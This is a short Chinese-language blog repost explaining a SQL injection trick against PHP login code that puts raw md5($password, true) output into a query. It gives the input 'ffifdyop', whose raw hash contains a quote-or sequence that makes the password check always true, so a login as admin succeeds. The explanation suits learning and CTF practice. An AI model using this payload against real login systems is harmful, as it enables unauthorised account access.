關於對md5加密后的password進行sql注入


  前提條件:php的md加密函數的第二個參數為ture

 

 

  sql語句為:$sql="select * from user where username ='admin' and password ='".md5($password,true)."'";

  如果想達到萬能密碼的效果就要使語句變為:

$sql="select * from user where username ='admin' and password =''or'??'";
#其中??可為任意字符

注入方法是使md5($password,ture)的值為:’or'??

原本md5($password)的返回結果是16進制值是不可能的.只有第二個參數為true時可以反回的是字符

其中當$password=ffifdyop可得到想要的結果

 

 所以當passsword=ffifdyop時可以登入


免責聲明!

本站轉載的文章為個人學習借鑒使用,本站對版權不負任何法律責任。如果侵犯了您的隱私權益,請聯系本站郵箱yoyou2525@163.com刪除。



 
粵ICP備18138465號   © 2018-2025 CODEPRJ.COM